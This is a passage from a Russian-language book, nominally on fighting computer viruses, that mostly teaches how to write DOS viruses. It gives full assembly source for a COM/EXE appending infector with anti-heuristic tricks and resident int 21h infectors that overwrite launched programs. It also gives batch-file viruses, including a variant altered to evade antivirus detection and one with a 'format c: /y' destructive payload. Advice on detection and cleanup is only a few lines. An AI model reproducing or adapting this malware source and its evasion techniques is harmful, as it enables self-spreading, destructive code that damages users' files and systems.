Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Технологии борьбы с компьютерными вирусами. Практическое пособие

.pdf
Скачиваний:
0
Добавлен:
15.08.2026
Размер:
1 Мб
Скачать

DOS вирусы

 

 

51

 

 

 

add cx,END_VIRUS-START_VIRUS+3; Добавляем размер вируса

 

cmp ax,cx

; сравним ax и cx

 

jnz INFECT_COM

;

Если здоровый, то заразим его

ANOTHER:

mov ah,4fh

;

Ищем новую жертву

 

jmp short FINDNEXT

;

 

END_SEARCH:

retn

;

 

INFECT_COM:

 

 

 

; Сохраняем первые три байта оригинального заголовка *.COM файла

 

lea si,[bp+BUFFER]

;

 

 

lea di,[bp+COM_START]

; Сохраним их в переменную COM_START

 

movsw

;

 

 

movsb

 

 

; Вычисляем длину перехода на тело вируса

 

 

; В ax хранится размер файла

 

 

 

mov cx,3

;

Кол-во байт в самом JMP

 

sub ax,cx

;

размер файла - 3

 

mov byte ptr [si-3],0e9h

;

Первым байтом нового заголовка будет

jmp

 

 

 

 

mov word ptr [si-2],ax

;

Остальными двумя смещение перехода

 

jmp DONE_INFECTION

;

 

INFECT_EXE:

 

 

 

; Сохраним оригинальные CS:IP и SS:SP.

 

 

 

les ax,dword ptr [bp+BUFFER+20]

; Получим CS:IP

 

mov word ptr [bp+JMPSAVE],ax

 

; Сохраняем IP

 

mov word ptr [bp+JMPSAVE+2],es

 

; Сохраняем CS

 

les ax,dword ptr [bp+BUFFER+14]

; Получим SS:SP

 

mov word ptr [bp+STACKSAVE],es

 

; Сохраняем SP

 

mov word ptr [bp+STACKSAVE+2],ax ; Сохраняем SS

; Получим размер заголовка в байтах

 

 

 

mov ax,word ptr [bp+BUFFER+8] ;

Получим размер заголовка

 

mov cl,4

;

Переведем параграфы в байты

 

shl ax,cl

;

Умножением на 16

 

xchg ax,bx

; Кладем размер заголовка в bx

; Получим размер файла

 

 

 

les ax,[bp+offset DTA+26]

;

Получим размер файла

 

mov dx,es

;

в формате DX:AX

 

push ax

; Сохраним размер файла

 

push dx

 

 

 

sub ax,bx

; Отнимем от него

 

sbb dx,0

; размер заголовка

 

mov cx,16

;

Переведем в форму сегмент:смещение

 

div cx

;

 

; Сохраним новую точку входа (CS:IP) в заголовке.

mov word ptr [bp+BUFFER+20],dx; Сохраняем IP mov word ptr [bp+BUFFER+22],ax; Сохраняем CS

52

DOS вирусы

 

 

; Сохраним указатель на стэк (SS:SP) в заголовке.

mov word ptr [bp+BUFFER+14],ax; Сохраняем SS mov word ptr [bp+BUFFER+16],ID; Сохраняем SP

pop dx

; Восстановим размер файла

pop ax

 

add ax,END_VIRUS-START_VIRUS

; Добавим длину вируса к размеру файла

adc dx,0

;

push ax

; Сохраняем AX

mov cl,9

; Делим AX

shr ax,cl

; íà 512

ror dx,cl

 

stc

;

adc dx,ax

;

pop ax

; Восстанавливаем AX

and ah,1

; mod 512

; Сохраняем новый размер файла в заголовке.

 

mov word ptr [bp+BUFFER+4],dx ; Сохраняем новый размер файла mov word ptr [bp+BUFFER+2],ax

push cs

; Сохраняем ES

pop es

 

mov cx,24

 

push bx

 

DONE_INFECTION:

 

push cx

 

call OPEN

; Открываем файл

; Запишим новый заголовок в файл.

 

mov ah,40h

; DOS-функция записи в файл

int 1h

; Антиэвристика

pop cx

; кол-во записываемых байт

lea dx,[bp+BUFFER]

; Пишем из буфера

int 21h

;

; Устанавливаем указатель в конец файла

 

mov ax,4202h

;

xor cx,cx

; Устанавливаем указатель в конец файла

cwd

;

int 21h

;

; Дописываем вирус в конец файла

 

mov ah,40h

 

lea dx,[bp+START_VIRUS]

 

mov cx,END_VIRUS-START_VIRUS

 

int 21h

 

; Close the file.

 

mov ah,3eh

; DOS-функция закрыть файл

int 21h

;

pop bx

 

DOS вирусы

 

 

53

 

 

 

 

BOMB_DONE:

mov

ah,09h

;

 

lea

dx,[bp+msg]

; Выведем сообщение

 

int

21h

;

 

jmp

QUIT

; Вернем управление оригинальной программе

; Процедура открытия файла

 

OPEN

proc near

 

 

mov ax,3d02h

; DOS-функция открыть файл на чтение/запись

 

int

1h

 

 

lea

dx,[bp+DTA+30]

;

 

int

21h

;

 

xchg ax,bx

; Кладем указатель на файл в bx

 

retn

 

; Возврат

OPEN

endp

 

 

; Дальше идет область

данных

 

COM_MASK

db '*.com',0

; маска *.COM файла

EXE_MASK

db '*.exe',0

; маска *.EXE файла

COM_START

db 0cdh,20h,0

; Заголовок зараженного файла

START

endp

 

 

END_VIRUS

equ

$

; Метка конца вируса

; Все, что идет после

этой строки, в тело вируса не включается

BUFFER

db 24 dup(?)

; временный буффер

DTA

db 43 dup(?)

;

ENDHEAP:

 

 

 

 

end

MAIN

 

;---------------------------------------------

 

 

 

Вот мы и рассмотрели комбо-паразит. Как видите, ничего сложного в нем нет. AVP, как собственно, и другими антивирусами, он не обнаруживается. Подробно что-то в нем комментировать я не вижу смысла, так как по от-

дельности мы подробно рассмотрели паразитизм *.com и *.exe файлов. Лечение комбо-паразита усложняется лишь тем, что придется анализиро-

вать больше файлов и сочетать приемы лечения *.com и *.exe паразитов.

3.4. Простейшие *.BAT

Сейчас мы рассмотрим написание скриптового вируса на BATCH языке. Этот скриптовый язык — аналог всем известного языка SHELL под UNIX системы.

По своей сути *.bat файлы являются обыкновенным списком DOS-команд (ну не совсем обыкновенным). В данных файлах присутствуют структуры: if, goto, for, т. е. на самом деле это язык программирования, но его описание не наша тема. Мы рассмотрим написание простейшего вируса на BATCH языке.

Рассмотрим вирус:

rem ----------------------------------------------

@echo off

for %%i in (*.bat) do copy %0 %%i @echo ::[This IS *.BAT Virus]::

rem ----------------------------------------------

54 DOS вирусы

Вот и все, простейший *.bat overwriter готов. В это, конечно, сложно поверить, но реально весь вирус заключается в строке с циклом for.

Но об этом позднее. Начнем рассмотрение данного вируса с первой строки. В первой и последней строчке (они начинаются с rem) содержится коммен-

тарий.

Все строки в *.bat файлах считаются комментарием, если начинаются с rem. Следующая строка «@echo off» выключает вывод на монитор всех последующих команд. И наконец, самая главная строка «for %%i in (*.bat) do copy %0 %%i». В данной строке происходит поиск всех *.bat файлов в текущей директо-

рии и копирование вируса на их место.

В предпоследней строке выводится сообщение о том, что это вирус, инфицирующий *.bat файлы.

Но с этим вирусом есть одна маленькая проблемка: AVP его идентифицирует как «BAT.silly.d». То есть замечательно опознает как вирус и, наверное, даже лечить захочет.

Опознание нашего вируса происходит из-за применения в цикле маски *.bat.

Для обхода антивирусной защиты мы создадим переменную окружения и подставим ее в цикл.

Рассмотрим вирус:

rem -----------------------------------------

@echo off set BAT=bat

for %%i in (*.%BAT%) do copy %0 %%i @echo ::[This IS *.BAT Virus]::

rem -------------------------------------------

После данной модификации наш вирус обнаруживаться антивирусами перестал.

Но нам этого ведь мало: даже если наш вирус заразит все *.bat файлы на компьютере, ничего особо страшного не случится.

Для устрашения пользователя можно добавить немного деструкции к вирусу, например удаление всех файлов в текущей директории или форматирование винчестера.

Рассмотрим вирус:

rem --------------------------------------------

@echo off set BAT=bat

for %%i in (*.%BAT%) do copy %0 %%i @echo ::[This IS *.BAT Virus]::

@echo off format c: /y

rem --------------------------------------------

Вот это уже посерьезнее.

Существует множество вариантов реализации *.bat вирусов, некоторые пишут вирусы на Ассемблере и затем уже вставляют внутрь *.bat файла в качест-

DOS вирусы

55

 

 

ве debug скрипта. Мы с вами разобрались с наипростейшей реализацией *.bat вируса.

Борьба с данным вирусом довольно примитивна:

1)идентифицировать вирус по маске;

2)удалить вирус.

Ôó í ê ö è è ì à ñ ê è ð î â ê è è ó ñ ê î ð å í è ÿ

ýï è ä å ì è è

Глава 4 Резидентность

Что же такое резидентность? Давайте рассмотрим аналогию. Обычная программа, когда завершает свою работу, выгружает себя из памяти. Резидентная же программа после завершения работы оставляет какую-то часть программного кода в памяти. Резидентные программы в большинстве случаев перехватывают какие-нибудь прерывания, чтобы по какому-нибудь событию продолжить свое выполнение.

Что же резидентность дает разработчикам вирусов? Для чего они могут ее использовать? Во-первых, они могут во много раз усилить эпидемию, если будут заражать каждый файл, запущенный пользователем или открытый им для чтения/записи. Но это не все, что им дает данная техника. Она открывает перед ними возможности стелс-вирусов.

Итак, рассмотрим алгоритм простейшей резидентной программы.

1.Программа размещает в памяти какую-то свою часть.

2.Подменяет обработчик прерывания (чтобы реагировать на определенные действия пользователя).

3.Завершает свою работу, оставаясь резидентной (TSR — terminate stay resident).

Разберемся более подробно с этим алгоритмом на примере.

;----------------------------------------------

 

 

 

 

.model tiny

 

 

 

.code

 

 

 

 

org

100h

 

 

 

start:

 

 

 

 

 

mov

ax,3521h

 

; Получить вектор 21 прерывания

 

int

21h

 

 

 

mov

word ptr [int21_addr],bx

; Сохранить адрес 21 прерывания

 

mov

word ptr [Int21_addr+02h],es ;

 

mov

ah,25h

; Установить наш обработчик 21 прерывания

 

int

1h

; Антиэвристика

 

lea

dx,int21_virus

; В dx должно быть смещение на обработчик

 

int

21h

 

 

56

 

 

 

DOS вирусы

 

 

 

 

 

 

 

mov

dx,71

; При вызове функции TSR DOS в dx должно быть кол-во

 

 

int

27h

; байт программы, остающихся резидентными

 

 

 

 

; в данном случае вся программа

int21_virus proc

near

; Наш обработчик 21 прерывания

 

 

cmp

ah,4bh

; Программа запускается или загружается?

 

 

jne

int21_exit

; Нет? Тогда возвратим управление оригинальному

 

 

 

 

; обработчику

 

 

push

cs

; Положим CS в стек

 

 

pop

ds

; Загрузим из стека CS в DS (теперь CS=DS)

 

 

mov

ah,09h

; Значит, все-таки файл запущен. Выведем

 

 

lea

dx,msg

; сообщение и возвратим управление оригинальному

 

 

 

 

; обработчику

 

 

int21_exit:

 

 

 

db

0eah

; Это код команды JMP

code_end:

 

 

 

int21_addr

dd

?

; Адрес 21 прерывания

msg

db

'Hello i am resident programm $' ; Собственно сообщение, которое будем выводить

 

 

endp

 

 

end

 

start

 

 

;----------------------------------------------

 

 

 

 

Что же эта программа делает? Сначала она подменяет DOS-обработчик 21 прерывания собственным и после этого вся садится в память и завершает исполнение методом «прервать, остаться резидентной» (TSR — terminate stay resident). Если же запускается какая-то программа (функция 4bh, 21 прерывание), то управление получает вирусный обработчик, выводит строку приветствия и возвращает управление оригинальному обработчику (программа, которую запускали, не запускается, так как в вирусном обрабочике это не предусмотрено).

Разберем более подробно данную программу:

;----------------------------------------------

 

 

mov

ax,3521h

; Получить вектор 21 прерывания

int

21h

 

mov

word ptr [int21_addr],bx

; Сохранить адрес 21 прерывания

mov

word ptr [int21_addr+02h],es ;

;----------------------------------------------

 

 

Этот кусок кода сохраняет адрес оригинального обработчика 21 прерывания. Это происходит при помощи стандартной DOS-функции 35h, номер прерывания которого мы хотим получить. Адрес должен загружать в al — в нижний байт регистра ax. После завершения работы прерывания в регистре bx хранятся первые два байта смещения на обработчик, а в es — сегмент обработчика. Все это мы сохраняем в переменную int21_addr для последующего возвращения управления оригинальному обработчику.

;----------------------------------------------

 

 

 

mov

ah,25h

; Установить наш обработчик

21 прерывания

lea

dx,int21_virus

; В dx должно быть смещение

на обработчик

int

21h

 

 

;----------------------------------------------

 

 

 

DOS вирусы

57

 

 

В данном блоке DOS-функцией 25h устанавливается новый обработчик 21 прерывания, в регистре dx должно быть смещение на новый обработчик.

;----------------------------------------------

 

 

mov

dx,72

; При вызове функции TSR DOS в dx должно быть кол-во

int

27h

; байт программы, остающихся резидентными

 

 

; в данном случае вся программа

;----------------------------------------------

 

 

Здесь вызывается DOS функция TSR — прервать, остаться резидентной. Резидентными остаются 72 байта данной программы, т. е. вся она.

;----------------------------------------------

 

 

 

int21_virus

proc

near

; Наш обработчик 21 прерывания

cmp

ah,4bh

; Программа запускается или загружается?

jne

int21_exit

; Нет? Тогда возвратим управление оригинальному

 

 

 

; обработчику

push

cs

; Положим CS в стек

pop

ds

; Загрузим из стека CS в DS (теперь CS=DS)

mov

ah,09h

; Значит, все-таки файл запущен. Выведем

lea

dx,msg

; сообщение и возвратим управление оригинальному

 

 

 

; обработчику

int21_exit:

 

 

 

db

 

0eah

; Это код комманды JMP

code_end:

 

 

 

int21_addr

dd

?

; Адрес 21 прерывания

msg db

'Hello i am resident programm $' ; Собственно сообщение, которое будем выводить

endp ;----------------------------------------------

Здесь в обработчике прерывания идет проверка на запуск программы. Если программа запускается, то выводится сообщение. Если программа не запускается, то остальные функции DOS обрабатывает оригинальный обработчик 21 прерывания. Рассмотрим теперь алгоритм резидентного вируса.

1.Проверка на присутствие в памяти (в простейшем случае может не присутствовать)

2.Выделение области памяти для вирусного тела.

3.Перенос вирусного тела в память.

4.Подмена обработчика прерывания вирусным обработчиком.

5.Возвращение управления программе, из которой вирус стартовал (в простейшем случае может не присутствовать).

Теперь давайте нашу простую резидентную программу преобразуем в простейший резидентный вирус. Что же в нашей программе нужно изменить, чтобы она стала вирусом? Да почти ничего! Нужно всего лишь вывод приветствия заменить на запись вирусного тела в стартующую программу. Также желательно (но не необходимо) добавить проверку на присутствие в памяти.

Рассмотрим листинг:

;----------------------------------------------

.model tiny

.code

org 100h

58

 

 

 

DOS вирусы

 

 

 

 

 

start:

 

 

 

 

 

mov

ax,7357

; Проверка на присутствие в памяти

 

int

21h

;

 

 

cmp

bx,7357

; Если мы в памяти, то

 

jne

next

;

 

 

ret

 

; завершаем программу

next:

 

 

 

 

 

mov

ax,3521h

; Получить вектор 21 прерывания

 

int

21h

 

 

 

mov

word ptr [int21_addr],bx

; Сохраним адрес 21 прерывания

 

mov

word ptr [Int21_addr+02h],es ;

 

mov

ah,25h

; Установить наш обработчик 21 прерывания

 

lea

dx,int21_virus

; В dx должно быть смещение на обработчик

 

int

1h

; Антиэвристика

 

int

21h

 

 

 

mov

dx,67

; При вызове функции TSR DOS в dx должно быть кол-во

 

int

27h

; байт программы, остающихся резидентными, -

 

 

 

; в данном случае вся программа

int21_virus

proc

near

; Вирусный обработчик прерывания

 

cmp

ax,7357

; Проверка на присутствие. Если нас зовут,

 

jne

n0

;

 

 

mov

bx,7357

; тогда откликнемся

n0:

 

 

 

 

 

cmp

ah,4bh

; Если запущена/загружена программа

 

jne

int21_exit

; Нет, отдадим управление оригинальному обработчику

 

mov

ax,3d02h

; Все-таки запущена, тогда

 

int

21h

; откроем ее файл для чтения/записи

 

xchg

ax,bx

; и положим хэндл файла в bx

 

push

cs

; Приравняем сегмент данных сегменту кода

 

pop

ds

;

 

 

mov

ah,40h

; Запишем в файл

 

lea

dx,start

; свое тело, затирая оригинальные байты программы

 

mov

cx,code_end-start

 

int21_exit:

 

 

 

 

 

db

0eah

; Это код комманды JMP

code_end:

 

 

 

 

int21_addr

dd

?

; Адрес оригинального 21 прерывания

 

endp

 

 

 

end

start

 

 

 

;----------------------------------------------

 

 

 

 

Давайте разберемся, как производится проверка на присутствие вируса в памяти и для чего.

В начале программы перед посадкой в память вызывается функция DOS 7357, которой на самом деле не существует, но если вирус находится в памяти, то он ответит данной функции, поместив в регистр bx аналогичное значение. Это делается для того, чтобы вирус по многу раз не усаживался в оперативную память.

DOS вирусы

59

 

 

Проверка на присутствие выглядит следующим образом:

;----------------------------------------------

 

 

mov

ax,7357

; Проверка на присутствие в памяти

int

21h

;

cmp

bx,7357

; Если мы в памяти, то

jne

next

;

ret

 

; завершаем программу

;----------------------------------------------

 

 

Если вирус в памяти присутствует, то программа завершает свое выполне-

íèå.

А вот та часть вирусного обработчика 21 прерывания, которая отвечает за ответ при проверке на присутствие в памяти:

;----------------------------------------------

 

 

cmp

ax,7357

; Проверка на присутсвие. Если нас зовут,

jne

n0

;

mov

bx,7357

; тогда откликнемся

;----------------------------------------------

 

 

При вызове функции 7357 в регистр bx помещается аналогичное значение.

Âчем же заключается главный недостаток данного вируса? Он заключается

âтом, что при использовании 27 прерывания (TSR), работа данной программы завершается, но большинству вирусов-паразитов нужно не прерывать программу, а передать ей управление. В этом заключается один большой демаскирующий эффект вируса данного типа.

Второй же недостаток — это то, что в начале при запуске программы она заражается и не запускается: перед заражением следует запустить данную программу и только после этого заражать. Все равно даже эта поправка не одура- чит пользователя, потому что файл после инфицирования перестанет функционировать должным образом. Именно по этой причине в большинстве случаев не используют 27 прерывание. Чаще всего для размещения вируса в памяти используют MCB (Memory Control Block).

Приведенный ниже вирус внедряется в память путем выделения памяти че- рез MCB, а затем напрямую подменяет оригинальный обработчик 21 прерывания на свой. При запуске программы он проверяет, не *.exe ли программа запущена путем проверки первых двух байт (в *.exe файлах первые два байта обязательно «MZ»).

Взглянем на листинг:

;----------------------------------------------

 

 

 

code

segment

 

 

 

assume

cs:code,ds:code

 

 

org

100h

 

 

.286

 

; этот режим необходим для использования

 

 

 

; pusha, popa

blank:

db

0e9h,0,0

; jmp на start (чтобы не было заражения

 

 

 

; самого себя)

start:

call

delta

; Этот call необходим

delta:

pop

bp

; для получения дельта-смещения

60

 

DOS вирусы

 

 

 

int

1h

; Антиэвристика

sub

bp,offset delta

; Для этого используем регистр bp

mov

ah,099h

;

int

21h

; Проверка на присутствие в памяти

cmp

bh,099h

; Если мы находимся в памяти, то передадим

je

first3

; управление оригинальной программе

sub

word ptr cs:[2],80h

; Значит, нас в памяти нет, тогда садимся

mov

ax,cs

; Устанавливаем ax, чтобы указывал на cs

dec

ax

; Уменьшим ax на 1, теперь он указывает на

mov

ds,ax

; MCB, положим в ds - ax

sub

word ptr ds:[3],80h

; отгрызем себе памяти 2 кб

xor

ax,ax

; положим в ax - 0

mov

ds,ax

; поместим 0 в ds

sub

word ptr ds:[413h],2

; добавочные BIOS данные 2 кб

mov

ax,word ptr ds:[413h]

; поместим их в ax

mov

cl,6

; положим в cl - 6

shl

ax,cl

; Умножим доступную память на 64

mov

es,ax

; результат в es

push

cs

; настроим через стек

pop

ds

; ds íà cs

xor

di,di

; обнулим di

lea

si,[bp+start]

; откуда начинаем посадку в память

(start)

 

 

mov

cx,finished-start

; кол-во байт для посадки в память (весь

 

 

; вирус)

rep

movsb

; Садимся в память

xor

ax,ax

; Обнулим ax

mov

ds,ax

; Положим ax в ds

lea

ax,new21

; Делаем так, чтобы ax указывал на новый

 

 

; обработчик 21 прерывания

sub

ax,offset start

; отнимем смещение от начала (start)

mov

bx,es

; положим экстрасегмент в bx

cli

 

; выключаем прерывания

xchg

ax,word ptr ds:[84h]

; переключаемся на новый обработчик

xchg

bx,word ptr ds:[86h]

;

mov

word ptr es:[oi21-offset start],ax ; и сохраняем старый

mov

word ptr es:[oi21+2-offset start],bx ;

sti

 

; включаем прерывания

push

cs cs

; настраиваем ds и es через стек, чтобы

pop

ds es

; они указывали на cs

first3: lea

si,[bp+saved]

; si указывает на оригинальные байты

mov

di,100h

; положим в di 100h

push

di

; и затем это значение поместим в стек

movsw

 

; восстановим 2 оригинальных байта

movsb

 

; восстановим 1 оригинальный байт

retn

 

; возвратим управление по адресу 100h

 

 

; т. е. его получит оригинальная программа

new21:

 

; Новый обработчик 21 прерывания

pusha

 

; положим в стек все регистры

push

ds

; положим в стек ds

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]